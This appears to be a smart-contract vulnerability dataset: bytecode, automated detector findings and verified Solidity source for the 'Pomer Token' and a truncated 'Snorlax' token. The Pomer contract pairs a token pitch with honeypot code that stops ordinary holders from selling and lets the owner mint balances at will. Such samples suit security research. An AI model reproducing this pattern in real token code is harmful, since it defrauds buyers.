515811461195d57600080fd5b600060208284031215611b2857600080fd5b6112e382611b06565b600060208284031215611b4357600080fd5b5035919050565b60008060008060808587031215611b6057600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9157600080fd5b833567ffffffffffffffff80821115611ba957600080fd5b818601915086601f830112611bbd57600080fd5b813581811115611bcc57600080fd5b8760208260051b8501011115611be157600080fd5b602092830195509350611bf79186019050611b06565b90509250925092565b60008060408385031215611c1357600080fd5b8235611c1e8161193d565b91506020830135611c2e8161193d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cae57611cae611c84565b5060010190565b60008219821115611cc857611cc8611c84565b500190565b600082821015611cdf57611cdf611c84565b500390565b600060208284031215611cf657600080fd5b81516112e38161193d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d515784516001600160a01b031683529383019391830191600101611d2c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dae57611dae611c84565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207381dc648dab629b75451bc007469922487ff85d59ed4be71cbc4b87196ac5e064736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,224
0x21654674a56acd8b213ea44829172d1c877e21a0
/** *Submitted for verification at Etherscan.io on 2021-06-11 */ /* Pomer Token Community-focused, decentralized cryptocurrency with yieldfarming rewards for holders. Pomeranian harnesses the power of Blockchain to evolve cryptocurrency. Our ecosystem consists of decentralized finance-based apps such as Decentralized Exchange, Staking, Decentralized Asset Marketplace (NFTs and Pomeranian Assets), Finance Gaming and others to come. Pomeranian Coin (PMR) is our Utility Token used as Governance Token in the Pomeranian ecosystem and as an internal currency for the overall ecosystem. Unlimited supply There is no limit to the number of Pomer tokens that can be minted through a contract on the platform Predetermined price The buy and sell price of Pomer tokens increases and decreases with the number of tokens minted and burned, respectively Instant liquidity Tokens can be bought or sold instantaneously at any time, the bonding curve acts as an automated market maker Pomeranian Coin (PMR) Pomeranian is the ERC-20 utility token accepted across the Pomeranian finance platform. Here, token is mostly used for to trade (Buy and Sell) NFT assets, grants rewards to those who staked their Pomer tokens into the staking pool, and available for swap within Pomeranian decentralized exchange. Pomeranian harnesses the power of Blockchain to evolve crypto currency. Our ecosystem consists of decentralized finance-based apps such as Decentralized Exchange, Staking, Decentralized Asset Marketplace (NFTs and Pomer Assets), Finance Gaming and others to come. Pomeranian Coin (PMR) is our Utility Token used as Governance Token in the Pomeranian ecosystem and as an internal currency for the overall ecosystem. In the Pomeranian IBCO when you buy a token, each subsequent buyer will have to pay a slightly higher price for each POMER token. As more individuals are interested in the project and start investing in the POMER token, the value of each token progressively increases along the bonding curve. This gives you the first-mover advantage. The cost of each POMER token is settled by the bonding curve which depends on the total supply of the token and reserve ratio, and whatever Ethereum is paid into the curve or contract to buy Pomer token, this is deposited or stored in the BCO. Pomeranian NFT (Pomeranian Assets) 1. Alpha Pomeranian Asset [Alpha NFT] Alpha is the most dangerous type of Pomeranian. When in canine form they are noticeably larger. Alphas have bright Red eyes. In rare cases, Alphas can literately turn into actual wolves, but in a larger and more brutish appearance. Alphas are the ones that can create new Pomeranians, or other new shape-shifters. An Alpha’s eyes glow red when shape-shifted. An Alpha Pomeranian carries an internal spark of power that supplements their ability to shape-shift, making it easier for them to shift into more powerful shapes, as well as their individual strength and supernatural abilities. On Pomeranian Platform Alpha Pomeranian will own a territory. So total number of Alpha on the platform will be equal to total number of territories exists on the planet. An Alpha Pomeranian NFT is having some additional characteristics like Power Absorption, Empathy, Pain Transference, Mind Melding, Full Moon Power Enhancement, Super memory, Super Intelligence, Resistance to cold, Telepathy and Silver Damage %. 2) Beta Pomeranian Asset [Beta NFT] Beta Pomeranians are members of a Pomeranian pack, following the leadership of an Alpha Pomeranian. Betas are bound to the pack they belong to Although not as powerful as an Alpha, Beta Pomeranians are noticeably stronger than Omega Pomeranians. Betas are the main members of the pack. Betas are the most common Pomeranian type. They are the standard canine shape-shifter. In a pack, most members will be betas, with the leaders being the alphas. A beta shape-shifter’s eyes will glow bright Gold. On Pomeranian Platform when Beta Pomeranian born in specific territory that Beta will be assigned to the Alpha Pomeranian of that territory by default. Each such territory will contain many Beta Pomeranians with same Alpha Pomeranian as their leader. Similar to an Alpha Pomeranian NFT, a Beta NFT is having some common characteristics like Healing, Strength, Speed, Vision, Senses, Transformation Time, Agility, Wolsbane Resistance etc. Beta Pomeranian NFT also have some additional characteristics like Superhuman Stamina, Superhuman Endurance, Superhuman Dexterity, Pain Absorption, Extraordinary Superhuman Leaping, Infectious, Resistance to cold, Rage Enhancement. 3) Omega Pomeranian Asset [Omega NFT] Omegas are the lowest rank in the canine shape-shifter hierarchy. These wolves are not members in a pack, or have no affiliation with an alpha or an experienced beta. An omega shape-shifter’s eyes will glow Blue. Omegas are generally the lowest on the power level, because they are not members of a pack, of which members gradually receive symbiotic balance, power from each other. Omegas could be the survivor of a pack’s destruction, or they could be alone by their own choice. Because they are considered to be “The Outcasts”, Omegas are searching for a pack. Despite being the weakest and lowest-ranking Pomeranians of the lycanthrope, Omega Pomeranians are still strong and powerful creatures in their own right. Unlike Beta Pomeranian When an Omega Pomeranian is born in a specific territory then by default it won’t be assigned to the Alpha Pomeranian of that territory. Omega Pomeranian NFT are the lone Pomer. They are having less characteristics/power than an Alpha or Beta Pomeranian NFT, although they share common characteristics like Healing, Strength, Speed, Vision, Senses, Transformation Time, Agility, Wolsbane Resistance with both of them. */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract PomerToken { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820b42e399fcaeab78f8d68ffac152fdabe42a99b74ade8dfd742bcdd44c381023e64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
7,225
0x5d56239e8c252b5d18c094e5e7877233896948a4
/** *Submitted for verification at Etherscan.io on 2022-05-01 */ // SPDX-License-Identifier: Unlicensed // Snorlax ($SNORLAX) // Snorlax is huge and magnificent. It’s the heaviest normal type in pokemon world. Snorlax wakes up only to eat and rest. Snorlax is docile enough to let children and small Pokémon bounce on its large stomach. // This snorlax project is to encourage everyone in the world to become one of the Snorlax. Let’s just eat, sleep and rest meanwhile earning passive income with the force of crypto, web3 and all other blockchain technologies. // Snorlax is a deflationary and rewarding token, allow all holders to generate passive income while sleeping. // Tokenomics: // Tax: 6% // Reflection: 3% // Burn: 1% // Team and Marketing: 2% // https://snorlaxtoken.club/ // https://t.me/snorlaxeth // https://twitter.com/Snorlaxtoken pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SNORLAX is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Snorlax"; string private constant _symbol = "SNORLAX"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeOnBuy = 3; uint256 private _taxFeeOnBuy = 3; uint256 private _redisFeeOnSell = 3; uint256 private _taxFeeOnSell = 3; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 33; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0x96ab142E3bf0a61aA3687276DEc3fd9d20736dD0); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 2e10 * 10**9; uint256 public _maxWalletSize = 2e10 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = 